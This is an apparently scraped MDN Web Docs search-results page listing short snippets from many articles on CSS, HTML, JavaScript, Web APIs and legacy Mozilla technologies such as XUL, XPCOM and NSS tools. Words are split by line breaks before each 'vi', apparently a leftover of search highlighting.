via css and define a few terms around sizing that will help you in the future.
...in our example below, that border stretches to the width of the container, because it is a block level element, a beha
vior that should be starting to become familiar to you.
...And 14 more matches
The box model - Learn web development
pre
vious over
view: building blocks next everything in css has a box around it, and understanding these boxes is key to being able to create layouts with css, or to align items with other items.
... the full css box model applies to block boxes, inline boxes only use some of the beha
vior defined in the box model.
...using this model, any width is the width of the
visible box on the page, therefore the content area width is that width minus the width for the padding and border.
...And 14 more matches
What software do I need to build a website? - Learn web development
in this article we lay out which software components you need when you're editing, uploading, or
viewing a website.
... objective: learn which software components you need if you want to edit, upload, or
view a website.
...we'll pro
vide a few links in this article.
...And 14 more matches
JavaScript basics - Learn web development
pre
vious over
view: getting started with the web next javascript is a programming language that adds interacti
vity to your website.
... this happens in games, in the beha
vior of responses when buttons are pressed or with data entry on forms; with dynamic styling; with animation, etc.
... javascript ("js" for short) is a full-fledged dynamic programming language that can add interacti
vity to a website.
...And 14 more matches
Getting started with HTML - Learn web development
over
view: introduction to html next in this article we cover the absolute basics of html.
...it is a markup language that tells web browsers how to structure the web pages you
visit.
... anatomy of an html element let's further explore our paragraph element from the pre
vious section: the anatomy of our element is: the opening tag: this consists of the name of the element (in this example, p for paragraph), wrapped in opening and closing angle brackets.
...And 14 more matches
Introducing asynchronous JavaScript - Learn web development
pre
vious over
view: asynchronous next in this article we briefly recap the problems associated with synchronous javascript, and take a first look at some of the different asynchronous techniques you'll encounter, showing how they can help us solve such problems.
...this section recaps some of the information we saw in the pre
vious article.
... a lot of the functionality we have looked at in pre
vious learning area modules is synchronous — you run some code, and the result is returned as soon as the browser can do so.
...And 14 more matches
What is JavaScript? - Learn web development
over
view: first steps next welcome to the mdn beginner's javascript course!
... a high-level definition javascript is a scripting or programming language that allows you to implement complex features on web pages — every time a web page does more than just sit there and display static information for you to look at — displaying timely content updates, interactive maps, animated 2d/3d graphics, scrolling
video jukeboxes, etc.
... html is the markup language that we use to structure and give meaning to our web content, for example defining paragraphs, headings, and data tables, or embedding images and
videos in the page.
...And 14 more matches
Object-oriented JavaScript for beginners - Learn web development
pre
vious over
view: objects next with the basics out of the way, we'll now focus on object-oriented javascript (oojs) — this article presents a basic
view of object-oriented programming (oop) theory, then explores how javascript emulates object classes
via constructor functions, and how to create object instances.
... object-oriented programming — the basics to start with, let's give you a simplistic, high-level
view of what object-oriented programming (oop) is.
... we say simplistic, because oop can quickly get very complicated, and gi
ving it a full treatment now would probably confuse more than help.
...And 14 more matches
Getting started with React - Learn web development
pre
vious over
view: client-side javascript frameworks next in this article we will say hello to react.
... objective: to set up a local react development en
vironment, create a start app, and understand the basics of how it works hello react as its official tagline states, react is a library for building user interfaces.
...it's used with other libraries to render to certain en
vironments.
...And 14 more matches
Beginning our React todo list - Learn web development
pre
vious over
view: client-side javascript frameworks next let's say that we’ve been tasked with creating a proof-of-concept in react – an app that allows users to add, edit, and delete tasks they want to work on, and also mark tasks as complete without deleting them.
... this article will walk you through putting the basic app component structure and styling in place, ready for indi
vidual component definition and interacti
vity, which we'll add later.
...
view a specific subset of tasks: all tasks, only the active task, or only the completed tasks.
...And 14 more matches
XPCOMUtils.jsm
to use this, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/xpcomutils.jsm"); using xpcomutils exposing a javascript class as a component using these utility methods requires four key steps: import xpcomutils.jsm, as explained pre
viously.
... pseudocode this section pro
vides some pseudocode that demonstrates how to put together a javascript class based on the steps listed above.
...if not // pro
vided, the default factory is used, which returns // |(new mycomponent()).queryinterface(iid)| in its createinstance().
...And 14 more matches
Localizing with Koala
re
vision: leave empty.
...99 changesets with 158636 changes to 50664 files (+9 heads) updating working directory 40357 files updated, 0 files merged, 0 files removed, 0 files unresolved configure the locale locale id: x-testing (put your locale's code) version: 3.6 location: choose the folder where you want to keep the localized files or leave empty for now check "mercurial" if you wish to use mercurial to keep the re
vision history of your files (very recommended) existing localizations: url: if you're editing an existing localization or you already have a repository set up (either on hg.mozilla.org or bitbucket), type the url of the remote repository, e.g.
...re
vision: leave empty.
...And 14 more matches
About NSPR
netscape portable runtime (nspr) pro
vides platform independence for non-gui operating system facilities.
... history a good portion of the library's purpose, and perhaps the primary purpose in the gromit en
vironment, was to pro
vide the underpinnings of the java vm, more or less mapping the sys layer that sun defined for the porting of the java vm to various platforms.
...it is not a goal to pro
vide a platform for the porting into netscape of externally developed code.
...And 14 more matches
NSS tools : certutil
if you create a new key pair for such a card, the pre
vious pair is overwritten.
... -s create an indi
vidual certificate and add it to a certificate database.
...gi
ving a key type generates a new key pair; gi
ving the id of an existing key reuses that key pair (which is required to renew certificates).
...And 14 more matches
NSS tools : signtool
digital signatures allow ssl-enabled clients to perform two important operations: * confirm the identity of the indi
vidual, company, or other entity whose digital signature is associated with the files * check whether the files have been tampered with since being signed if you have a signing certificate, you can use netscape signing tool to digitally sign files and package them as a jar file.
... an indi
vidual file can potentially be signed with multiple digital signatures.
... for example, if you are a software developer, you should test your code to make sure it is
virus-free before signing it.
...And 14 more matches
Using XPCOM Utilities to Make Things Easier
« pre
viousnext » this chapter goes back over the code you've already created in the first part of the tutorial (see weblock1.cpp in the pre
vious chapter) and uses xpcom tools that make coding a lot easier and more efficient.
... generic xpcom module macros the work in the pre
vious chapter was useful in setting up the generic component code.
...to avoid these kinds of redundancies, to regulate the way generic code is written, and to save typing, xpcom pro
videsgeneric module macros that expand into the module code you've already seen.
...And 14 more matches
Introduction to XPCOM for the DOM
warning: this document has not yet been re
viewed by the dom gurus, it might contain some errors.
...a tutorial about how to add a new interface is also pro
vided, and eventually, a more detailed discussion of class inheritance in c++.
...pushing this concept to its maximum, a class can be "purely
virtual" if it declares methods without implementing any of them.
...And 14 more matches
nsIFile
with an nsifile you can na
vigate to ancestors or descendants without ha
ving to deal with the different path separators used on different platforms, query the state of any file or directory at the position represented by the nsifile and create, move or copy items in the filesystem.
... an nsifile can be retrieved by either instantiating an nsilocalfile using a platform specific path string or by using cross-platform locations retrieved from the directory ser
vice.
...a string containing characters encoded in the native charset cannot be safely passed to javascript
via xpconnect.
...And 14 more matches
MSGestureEvent - Web APIs
msgestureevent.rotation read only amount of rotation (in radians) since the pre
vious msgestureevent of the current gesture.
... msgestureevent.scale read only the difference in scale (for zoom gestures) from the pre
vious msgestureevent of the current gesture.
... msgestureevent.translationx read only distance traversed along the x-axis since the pre
vious msgestureevent of the current gesture msgestureevent.translationy read only distance traversed along the y-axis since the pre
vious msgestureevent of the current gesture msgestureevent.velocityangular read only angular velocity.
...And 14 more matches
PasswordCredential - Web APIs
the interface of the credential management api pro
vides information about a username/password pair.
... passwordcredential.idname secure context a usvstring containing the name that will be used for the id field when submitting the current object to a remote endpoint
via fetch.
... this property defaults to 'username', but may be overridden to match whatever the backend ser
vice expects.
...And 14 more matches
RTCPeerConnection.createOffer() - Web APIs
syntax apromise = mypeerconnection.createoffer([options]); mypeerconnection.createoffer(successcallback, failurecallback, [options]) parameters options optional an rtcofferoptions dictionary pro
viding options requested for the offer.
...the default beha
vior is to offer to receive audio only if the local side is sending audio, not otherwise.
... to emulate this beha
vior in modern implementations, the presence of this member with a value false, will set the direction of all existing audio transceivers to exclude reception (i.e.
...And 14 more matches
window.postMessage() - Web APIs
window.postmessage() pro
vides a controlled mechanism to securely circumvent this restriction (if used properly).
... broadly, one window may obtain a reference to another (e.g.,
via targetwindow = window.opener), and then dispatch a messageevent on it with targetwindow.postmessage().
... the recei
ving window is then free to handle this event as needed.
...And 14 more matches
Using XMLHttpRequest - Web APIs
function reqlistener () { console.log(this.responsetext); } var oreq = new xmlhttprequest(); oreq.addeventlistener("load", reqlistener); oreq.open("get", "http://www.example.org/example.txt"); oreq.send(); types of requests a request made
via xmlhttprequest can fetch the data in one of two ways, asynchronously or synchronously.
...it starts with "xml" because when it was created the main format that was originally used for asynchronous data exchange were xml handling responses there are several types of response attributes defined by the li
ving standard specification for the xmlhttprequest() constructor.
... inject the content into the body of a document fragment
via fragment.body.innerhtml and traverse the dom of the fragment.
...And 14 more matches
@font-feature-values - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet@font-feature-valueschrome no support noedge no support nofirefox full support 34 full support 34 full support ...
...to change preferences in firefox,
visit about:config.ie no support noopera no support nosafari full support 9.1web
view android no support nochrome android no support nofirefox android full support 34 full support 34 full support 24disabled disabled from version 24: this feature is behi...
...to change preferences in firefox,
visit about:config.opera android no support nosafari ios full support 9.3samsung internet android no support no@annotationchrome no support noedge no support nofirefox full support 34 full support 34 full support 24disabled disabled from version 24: this feature is behind the layout.css.font-features.enabled preference (needs to...
...And 14 more matches
Border-radius generator - CSS: Cascading Style Sheets
border-radius html content <div id="container"> <div class="group section"> <div id="pre
view" class="col span_12"> <div id="subject"> <div id="top-left" class="radius-container" data-x="left" data-y="top"> </div> <div id="top-right" class="radius-container" data-x="right" data-y="top"> </div> <div id="bottom-right" class="radius-container" data-x="right" data-y="bottom"> </div> <div id="bottom-left" class="radius-container" data-x="left" data-y="bottom"> </div> <div id="radi...
...us-ui-sliders"> <div id="tlr" class="ui-input-slider" data-topic="top-left" data-unit=" px" data-sensi
vity="2"></div> <div id="tlw" class="ui-input-slider" data-topic="top-left-w" data-unit=" px" data-sensi
vity="2"></div> <div id="tlh" class="ui-input-slider" data-topic="top-left-h" data-unit=" px" data-sensi
vity="2"></div> <div id="trr" class="ui-input-slider" data-topic="top-right" data-unit=" px" data-sensi
vity="2"></div> <div id="trw" class="ui-input-slider" data-topic="top-right-w" data-unit=" px" data-sensi
vity="2"></div> <div id="trh" class...
...="ui-input-slider" data-topic="top-right-h" data-unit=" px" data-sensi
vity="2"></div> <div id="brr" class="ui-input-slider" data-topic="bottom-right" data-unit=" px" data-sensi
vity="2"></div> <div id="brw" class="ui-input-slider" data-topic="bottom-right-w" data-unit=" px" data-sensi
vity="2"></div> <div id="brh" class="ui-input-slider" data-topic="bottom-right-h" data-unit=" px" data-sensi
vity="2"></div> <div id="blr" class="ui-input-slider" data-topic="bottom-left" data-unit=" px" data-sensi
vity="2"></div> <div id="blw" class="ui-input-slider" data-topic="bottom-left...
...And 14 more matches
Ordering Flex Items - CSS: Cascading Style Sheets
in this article we will take a look at ways in which you can change the
visual order of your content when using flexbox.
... we will also consider the implications of reordering items from an accessibility point of
view.
... this can seem like a neat way to display things in reverse order however you should be mindful that the items are only
visually displayed in reverse order.
...And 14 more matches
CSS Grid Layout and Accessibility - CSS: Cascading Style Sheets
in mo
ving to css we often spoke about css for layout enabling a separation of content and markup and presentation.
...we can use grid-auto-flow: dense which will take items
visually out of dom order.
...in the introduction to that section are details of what the specification expects browsers to do when the content is
visually reordered using grid layout.
...And 14 more matches
break-after - CSS: Cascading Style Sheets
ter: recto; break-after: verso; /* column break values */ break-after: avoid-column; break-after: column; /* region break values */ break-after: avoid-region; break-after: region; /* global values */ break-after: inherit; break-after: initial; break-after: unset; each possible break point (in other words, each element boundary) is affected by three properties: the break-after value of the pre
vious element, the break-before value of the next element, and the break-inside value of the containing element.
...nulla
vitae fringilla mauris.
...mauris
vitae hendrerit arcu, ac scelerisque lacus.
...And 14 more matches
<color> - CSS: Cascading Style Sheets
a <color> can be defined in any of the following ways: using a keyword (such as blue or transparent) using the rgb cubic-coordinate system (
via the #-hexadecimal or the rgb() and rgba() functional notations) using the hsl cylindrical-coordinate system (
via the hsl() and hsla() functional notations) note: this article describes the <color> data type in detail.
... note: although <color> values are precisely defined, their actual appearance may vary (sometimes significantly) from de
vice to de
vice.
... this is because most de
vices are not calibrated, and some browsers do not support output de
vices' color profiles.
...And 14 more matches
Constraint validation - Developer guides
semantic input types the intrinsic constraints for the type attribute are: input type constraint description associated
violation <input type="url"> the value must be an absolute url, as defined in the url li
ving standard.
... typemismatch constraint
violation <input type="email"> the value must be a syntactically valid email address, which generally has the format username@hostname.tld.
... typemismatch constraint
violation for both of these input types, if the multiple attribute is set, several values can be set, as a comma-separated list, for this input.
...And 14 more matches
User input and controls - Developer guides
this article pro
vides recommendations for managing user input and implementing controls in open web apps, along with faqs, real-world examples, and links to further information for anyone needing more detailed information on the underlying technologies.
... recommendations available input mechanisms depend on the capabilities of the de
vice running the application: some de
vices pro
vide touchscreen displays: the web platform offers touch events to interpret finger acti
vity on touch-based user interfaces.
... for de
vices pro
viding a mouse/touchpad as a pointing method, the pointer lock api helps you in implementing a first person 3d game or other applications requiring full control of the pointing de
vice.
...And 14 more matches
<iframe>: The Inline Frame element - HTML: Hypertext Markup Language
because each browsing context is a complete document en
vironment, every <iframe> in a page requires increased memory and other computing resources.
... loading indicates how the browser should load the iframe: eager: load the iframe immediately, regardless if it is outside the
visible
viewport (this is the default value).
... lazy: defer loading of the iframe until it reaches a calculated distance from the
viewport, as defined by the browser.
...And 14 more matches
Link types - HTML: Hypertext Markup Language
otherwise, the link defines an alternative page, of one of these types: for another medium, like a handheld de
vice (if the media attribute is set) in another language (if the hreflang attribute is set), in another format, such as a pdf (if the type attribute is set) a combination of these <a>, <area>, <link> <form> archives defines a hyperlink to a document that contains an archive link to this one.
... <a>, <area>, <link> <form> author defines a hyperlink to a page describing the author or pro
viding a way to contact the author.
... <a>, <area>, <link> <form> help if the element is <a> or <area>, it indicates that the hyperlink leads to a resource gi
ving further help about the parent of the element, and its descendants.
...And 14 more matches
Evolution of HTTP - HTTP
http has evolved from an early protocol to exchange files in a semi-trusted laboratory en
vironment, to the modern maze of the internet, now carrying images,
videos in high resolution and 3d.
...http/1.0 – building extensibility http/0.9 was very limited and both browsers and servers quickly extended it to be more versatile: versioning information is now sent within each request (http/1.0 is appended to the get line) a status code line is also sent at the beginning of the response, allowing the browser itself to understand the success or failure of the request and to adapt its beha
vior in consequence (like in updating or using its local cache in a specific way) the notion of http headers has been introduced, both for the requests and the responses, allowing metadata to be transmitted and making the protocol extremely flexible and extensible.
... http/1.1 clarified ambiguities and introduced numerous improvements: a connection can be reused, sa
ving the time to reopen it numerous times to display the resources embedded into the single original document retrieved.
...And 14 more matches
Add to Home screen - Progressive web apps (PWAs)
a2hs is thought to be part of the progressive web app philosophy — gi
ving web apps the same user experience advantages as native apps so they can compete in today's ecosystem wars.
... part of this is the simple gesture of accessing an app by tapping its icon on your home screen, and then ha
ving it appear neatly in its own window.
... a2hs is supported in all mobile browsers, except ios web
view.
...And 14 more matches
Understanding WebAssembly text format - WebAssembly
thus you could rewrite our pre
vious signature like so: (func (param $p1 i32) (param $p2 f32) (local $loc f64) …) and then could write local.get $p1 instead of local.get 0, etc.
... for example, local.get is defined to push the value of the local it read onto the stack, and i32.add pops two i32 values (it implicitly grabs the pre
vious two values pushed onto the stack), computes their sum (modulo 2^32) and pushes the resulting i32 value.
...to deal with strings and other more complex data types, webassembly pro
vides memory (although we also have reference types in newer implementation of webassembly).
...And 14 more matches
2015 MDN Fellowship Program - Archive of obsolete content
to support our efforts, the fellow will re
view various technical specifications to identify gaps between the documentation and current situation and refine existing tests to adapt to this cross-browser test harness.
... acti
vities and deliverables identify gaps between existing documentation and current development en
vironments.
... github: jdm twitter: @lastontheboat ser
vice workers brief project description ser
vice workers essentially act as proxy servers that sit between web applications, the browser and (when available) the network.
...And 13 more matches
Creating Event Targets - Archive of obsolete content
it will emit events when the user adds and
visits bookmarks, enabling users of the module to listen for these events using the sdk's standard event api.
... create a new directory called "bookmarks", na
vigate to it, and run jpm init, accepting all the defaults.
... then open "index.js" and add the following code: var {cc, ci} = require("chrome"); var { xpcomutils } = require("resource://gre/modules/xpcomutils.jsm"); var bookmarkser
vice = cc["@mozilla.org/browser/nav-bookmarks-ser
vice;1"] .getser
vice(ci.nsinavbookmarksser
vice); var bookmarkobserver = { onitemadded: function(aitemid, afolder, aindex) { console.log("added ", bookmarkser
vice.getbookmarkuri(aitemid).spec); }, onitem
visited: function(aitemid, a
visitid, time) { console.log("
visited ", bookmarkser
vice.getbookmarkuri(aitemid).spec); }, queryinterface: xpcomutils.generateqi([ci.nsinavbookmarkobserver]) }; exports.main = function() { bookmarkser
vice.addobserver(bookmarkobserver, false); }; exports.onunload = function() { bookmarkser
vice.removeo...
...And 13 more matches
Handling Preferences - Archive of obsolete content
« pre
viousnext » preferences in firefox mozilla applications are highly customizable.
... preferences are used to store settings and information to change their default beha
vior.
...tip: you can use window.na
vigator.platform in your chrome code to figure out the operating system firefox is running on.
...And 13 more matches
Security best practices in extensions - Archive of obsolete content
web content handling in general the best way to ensure that the browser is not compromised when you load content is to make sure it does not have those pri
vileges.
... the pri
vileges that a document gets also depend on where it comes from.
...files loaded using the file protocol can access files on the user's disk and other local de
vices.
...And 13 more matches
Signing an XPI - Archive of obsolete content
get network security ser
vices 1.
... download the latest network security ser
vices (nss) package from the mozilla ftp site at https://ftp.mozilla.org/pub/mozilla.or.../nss/releases/.
...you can either set this permanently
via control panel->system properties->advanced->en
vironment variables->system variables or do it each time you run the tools from the command-line (preferably using a batch file).
...And 13 more matches
Developing New Mozilla Features - Archive of obsolete content
become familiar with our code re
view processes.
...re
viewing the tree only at the milestone releases is risky if you're doing significant development.
...ob
viously, we’ll never reach perfection but we need to reduce these occurrences as much as possible to have a successful project.
...And 13 more matches
Code snippets - Archive of obsolete content
this page documents how to perform custom actions with firefox sync
via javascript.
... all of the in this page must be executed in a chrome-pri
vileged console.
... to access a chrome-pri
vileged console, open an about page (like about:about) then open a web console
via the web developer menu.
...And 13 more matches
Running Tamarin acceptance tests - Archive of obsolete content
running the tamarin test suite requires the following steps: set the avm en
vironment variable to the path of the avmplus executable (avmshell).
...set the builtinabc en
vironment variable to the path of the generated/builtin.abc.
...set the asc en
vironment variable, as described above.
...And 13 more matches
Running Tamarin performance tests - Archive of obsolete content
running the performance tests requires the following steps: set the avm en
vironment variable to the path of the avmshell executable.
... set the builtinabc en
vironment variable to the path of the builtin.abc.
... (in the tamarin-redux/generated directory) set the shellabc en
vironment variable to the path of the shell_toplevel.abc.
...And 13 more matches
The Joy of XUL - Archive of obsolete content
this same investigation will pro
vide sufficient explanation of mozilla's motivation to build xul and why the mozilla platform is constructed using it.
... since xul pro
vides an abstraction of user interface components, it delivers on the promise of write-once, run-anywhere.
...this poses a significant problem in team en
vironments because the skills required to develop these two parts are often satisfied by different people.
...And 13 more matches
Manipulating Lists - Archive of obsolete content
« pre
viousnext » the xul listbox pro
vides a number of specialized methods.
... list manipulation the listbox element pro
vides numerous methods to retrieve and manipulate its items.
...here is an example: example 1 : source
view <script> function additem(){ document.getelementbyid('thelist').appenditem("thursday", "thu"); } </script> <listbox id="thelist"/> <button label="add" oncommand="additem();"/> the appenditem() takes two arguments, the label, in this case 'thursday', and a value 'thu'.
...And 13 more matches
Modifying a XUL Interface - Archive of obsolete content
« pre
viousnext » the dom pro
vides various functions to modify the document.
...for example, the following will add a button to a xul window: example 1 : source
view <script> function addbutton(){ var abox = document.getelementbyid("abox"); var button = document.createelement("button"); button.setattribute("label","a new button"); abox.appendchild(button); } </script> <box id="abox" width="200"> <button label="add" oncommand="addbutton();"/> </box> this example has two parts a box container element in xul.
...note this button is not
visible, nor is it attached to anything yet.
...And 13 more matches
tabbrowser - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] this element is used for holding a set of read-only
views of web documents.
... attributes autocompleteenabled, autocompletepopup, autoscroll, contentcontextmenu, contenttooltip, handlectrlpageupdown, onbookmarkgroup, onnewtab, tabmodalpromptshowing properties browsers, cangoback, cangoforward, contentdocument, contenttitle, content
vieweredit, content
viewerfile, contentwindow, currenturi, docshell, documentcharsetinfo, homepage, markupdocument
viewer, securityui, selectedbrowser, selectedtab, sessionhistory, tabcontainer, tabs,
visibletabs, webbrowserfind, webna
vigation, webprogress methods addprogresslistener, addtab, addtabsprogresslistener,appendgroup, getbrowseratindex, getbrowserindexfordocument, getbrowserfordocument, g...
... contentcontextmenu type: id the id of a menupopup element ser
ving as the context menu for the content area in the tabbrowser.
...And 13 more matches
Introduction to SSL - Archive of obsolete content
this confirmation might be important if the user, for example, is sending a credit card number over the network and wants to check the recei
ving server's identity.
... an encrypted ssl connection requires all information sent between a client and a server to be encrypted by the sending software and decrypted by the recei
ving software, thus pro
viding a high degree of confidentiality.
... decisions about which cipher suites a particular organization decides to enable depend on trade-offs among the sensiti
vity of the data involved, the speed of the cipher, and the applicability of export rules.
...And 13 more matches
Reference - Archive of obsolete content
how should they be re
vised?
... --maian 23:43, 21 september 2005 (pdt) i think we need a new section in the reference that specifies the differences between versions, collecting this information into a single location rather than lea
ving it scattered haphazardly throughout the reference as it currently is.
...sevenspade 13:19, 2 july 2006 (pdt) after some thought, i removed the references to using language="javascript1.2", and all references are merely presented as information detailing past beha
vior.
...And 13 more matches
Archive of obsolete content
if anyone might realistically need the information in a li
ving product, it may not be appropriate to move it here.
... in general, it may be best to discuss it in the mdn web docs room on matrix before mo
ving content here.
... .htaccess ( hypertext access ) file accessing : htaccess files can be opened using any text editor, like windows notepad,
vin, sublime text editor or any other.
...And 13 more matches
Game distribution - Game development
benefits of html5 over native building games with html5 gives you extra advantages, such as: multiplatform bliss the technology itself is multiplatform, so you can write the code once and target multiple de
vices.
...if your user finds a bug, you can quickly fix it, update the system and refresh the game on your server to pro
vide players with the updated code almost instantly.
... desktop vs mobile the vast majority of the traffic we are interested in — people playing html5 games — comes from mobile de
vices so that's something you will have to focus on if you truly want to succeed.
...And 13 more matches
How do I start to design my website? - Learn web development
yes, it seems ob
vious, but too many projects fail not from a lack of technical know-how, but from lack of goals and
vision.
... technique is ob
viously critical.
...you must sit down and structure your ideas to get a clear
view of what path you must take to make your ideas a reality.
...And 13 more matches
Advanced form styling - Learn web development
pre
vious over
view: forms next in this article, we will see what can be done with css to style the types of form control that are more difficult to style — the "bad" and "ugly" categories.
... as we saw in the pre
vious article, text fields and buttons are perfectly easy to style; now we will dig into styling the bits that are more problematic.
... to recap what we said in the pre
vious article, we have: the bad: some elements are more difficult to style, requiring more complex css or some more specific tricks: checkboxes and radio buttons <input type="search"> the ugly: some elements can't be styled thoroughly using css.
...And 13 more matches
Vue conditional rendering: editing existing todos - Learn web development
pre
vious over
view: client-side javascript frameworks next now it is time to add one of the major parts of functionality that we're still missing — the ability to edit existing todo items.
... to do this, we will take advantage of vue's conditional rendering capabilities — namely v-if and v-else — to allow us to toggle between the existing todo item
view, and an edit
view where you can update todo item labels.
...owing code into that file: <template> <form class="stack-small" @submit.prevent="onsubmit"> <div> <label class="edit-label">edit name for "{{label}}"</label> <input :id="id" type="text" autocomplete="off" v-model.lazy.trim="newlabel" /> </div> <div class="btn-group"> <button type="button" class="btn" @click="oncancel"> cancel <span class="
visually-hidden">editing {{label}}</span> </button> <button type="submit" class="btn btn__primary"> save <span class="
visually-hidden">edit for {{label}}</span> </button> </div> </form> </template> <script> export default { props: { label: { type: string, required: true }, id: { type: string, required: true } }, da...
...And 13 more matches
Getting started with Vue - Learn web development
pre
vious over
view: client-side javascript frameworks next now let's introduce vue, the third of our frameworks.
... in this article we'll look at a little bit of vue background, learn how to install it and create a new project, study the high-level structure of the whole project and an indi
vidual component, see how to run the project locally, and get it prepared to start building our example.
... objective: to setup a local vue development en
vironment, create a starter app, and understand the basics of how it works.
...And 13 more matches
Deploying our app - Learn web development
pre
vious over
view: understanding client-side tools in the final article in our series, we take the example toolchain we built up in the pre
vious article and add to it so that we can deploy our sample app.
... actually deploying the updated code to a live url: or potentially a staging url so it can be re
viewed first.
...netlify gives us hosting or more specifically, a url to
view your project online and to share it with your friends, family, and colleagues.
...And 13 more matches
HTTP logging
http logging generally pro
vides more detailed logging.
... this allows you to capture only the "interesting" part of the browser's beha
vior (i.e.
... go to the "logging section" adjust the location of the log file if you don't like the default adjust the list of modules that you want to log: this list has the exact same format as the moz_log en
vironment variable (see below).
...And 13 more matches
Eclipse CDT Manual Setup
some of it like the section on building the index and usage tips are still relevant, and other parts still may pro
vide useful background information to understand it in more detail on how eclipse works.
...faq: wait, why does eclipse need an object directory?) code assistance out of the box, eclipse can pro
vide some code assistance for the mozilla source, but it will be incomplete and often just plain broken.
... important background to help you make sense of the instructions that follow (and so that you can modify them to meet your own needs if necessary), this section pro
vides some background on what ides need in order to pro
vide advanced code assistance, and what eclipse cdt needs in particular.
...And 13 more matches
Scripting Java
so the pre
vious example could be even shorter: js> java [javapackage java] we can access java classes simply by stepping down the package hierarchy: js> java.io.file [javaclass java.io.file] if your scripts access a lot of different java classes, it can get awkward to use the full package name of the class every time.
... rhino pro
vides a top-level function importpackage that serves the same purpose as java's import declaration.
...if we just
view the method object by itself we can see the various overloaded forms of the method: js> f.listfiles function listfiles() {/* java.io.file[] listfiles() java.io.file[] listfiles(java.io.filenamefilter) java.io.file[] listfiles(java.io.filefilter) */} this output shows that the file class defines three overloaded methods listfiles: one that takes no arguments, another with a filenamefilter argu...
...And 13 more matches
Split object
the window object for tab tb must persist as the user na
vigates from page to page in that tab.
...the function object carries a reference to the window,
via the scope chain.
...this makes the problem resistant to a wrapper-based approach.) older versions of firefox accomplished this by blowing away all window properties every time a user na
vigated to another page, then reusing the window.
...And 13 more matches
Frecency algorithm
this score is determined by the amount of re
visitation, the type of those
visits, how recent they were, and whether the uri was bookmarked or tagged.
...examples of invalid places are "place:" queries, and un
visited livemark feed entries.
... the frecency calculation process for the 10 most recent
visits (where 10 is determined by places.frecency.num
visits): ..
...And 13 more matches
nsIDOMMozNetworkStatsManager
note: gecko is a fast evol
ving project.
... dom/network/interfaces/nsidomnetworkstatsmanager.idlscriptable interface that pro
vides access to network usage statistics.
...to create an instance, use: var networkstatsmanager = components.classes["@mozilla.org/networkstatsmanager;1"] .createinstance(components.interfaces.nsidomnetworkstatsmanager); furthermore, the networkstatsmanager is published through a moznetworkstats child object within the na
vigator object.
...And 13 more matches
nsINavHistoryResult
toolkit/components/places/nsinavhistoryser
vice.idlscriptable describes the result of a history or bookmark query.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) places results use a model-
view-controller (mvc) design pattern.
...external components pro
vide the
view and controller pieces of the puzzle; they define how the data looks and how the data is interacted with.
...And 13 more matches
nsITreeBoxObject
last changed in gecko 1.9 (firefox 3) inherits from: nsisupports to get the treeboxobject for a tree: let boxobject = tree.boxobject; boxobject.queryinterface("components.interfaces.nsitreeboxobject"); or simply: let boxobject = tree.treeboxobject; method over
view long getfirst
visiblerow(); long getlast
visiblerow(); long getpagelength(); void ensurerowis
visible(in long index); void ensurecellis
visible(in long row, in nsitreecolumn col); void scrolltorow(in long index); void scrollbylines(in long numlines); void scrollbypages(in long numpages); void scrolltocell(in long row, ...
...
view nsitree
view the
view that backs the tree and that supplies it with its data.
... it is dynamically settable, either using a
view attribute on the tree tag or by setting this attribute to a new value.
...And 13 more matches
nsIWinTaskbar
widget/public/nsiwintaskbar.idlscriptable represents a ser
vice that exposes the apis pro
vided by the microsoft windows taskbar.
...by default, there is a single taskbar pre
view per top level window (excluding pop-ups).
... this pre
view is represented by an nsitaskbarwindowpre
view object.
...And 13 more matches
Accessibility Inspector - Firefox Developer Tools
the accessibility inspector pro
vides a means to access important information exposed to assistive technologies on the current page
via the accessibility tree, allowing you to check what's missing or otherwise needs attention.
...this means trying your best to not lock anyone out of accessing information because of any disability they may have, or any other personal circumstances such as the de
vice they are using, the speed of their network connection, or their geographic location or locale.
... here we are mainly talking about exposing information to people with
visual disabilities — this is done
via the accessibility apis available inside web browsers, which expose information on what roles the different elements on your page play (e.g., are they just text, or are they buttons, links, form elements, etc.?).
...And 13 more matches
BluetoothRemoteGATTDescriptor - Web APIs
the bluetoothremotegattdescriptor interface of the web bluetooth api pro
vides a gatt descriptor, which pro
vides further information about a characteristic’s value.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbluetoothremotegattdescriptor experimentalchrome full support 57notes full support 57notes notes macos only.
...to change preferences in chrome,
visit chrome://flags.
...And 13 more matches
Media Source API - Web APIs
the media source api, formally known as media source extensions (mse), pro
vides functionality enabling plugin-free web-based streaming media.
... using mse, media streams can be created
via javascript, and played using <audio> and <
video> elements.
... media source extensions concepts and usage playing
video and audio has been available in web applications without plugins for a few years now, but the basic features offered have really only been useful for playing single whole tracks.
...And 13 more matches
Pointer Lock API - Web APIs
the pointer lock api (formerly called mouse lock api) pro
vides input methods based on the movement of the mouse over time (i.e., deltas), not just the absolute position of the mouse cursor in the
viewport.
... it gives you access to raw mouse movement, locks the target of mouse events to a single element, eliminates limits on how far mouse movement can go in a single direction, and removes the cursor from
view.
... more than that, the api is useful for any applications that require significant mouse input to control movements, rotate objects, and change entries, for example allowing users to control the
viewing angle simply by mo
ving the mouse around without any button clicking.
...And 13 more matches
RTCPeerConnection.addTrack() - Web APIs
see starting negotiation in signaling and
video calling for details.
...instead, the streams are simply a way to group tracks together on the recei
ving end of the connection, making sure they are synchronized.
...for example, if all you're sharing with the remote peer is a single stream with an audio track and a
video track, you don't need to deal with managing what track is in what stream, so you might as well just let the transceiver handle it for you.
...And 13 more matches
RTCStatsType - Web APIs
values candidate-pair an rtcicecandidatepairstats object pro
viding statistics related to an rtcicetransport.
... certificate an rtccertificatestats object pro
viding statistics related to a certificate being used by an rtcicetransport.
... inbound-rtp an rtcinboundrtpstreamstats object pro
viding statistics about inbound data being received from remote peers.
...And 13 more matches
XRWebGLLayer.getNativeFramebufferScaleFactor() static method - Web APIs
the static method xrwebgllayer.getnativeframebufferscalefactor() returns a floating-point scaling factor by which one can multiply the specified xrsession's resolution to get the native resolution of the webxr de
vice's frame buffer.
...if the scaling factor is less than zero, the frame buffer is larger than the native resolution of the display, resulting in the frame buffer's contents being scaled down for display to the xr de
vice.
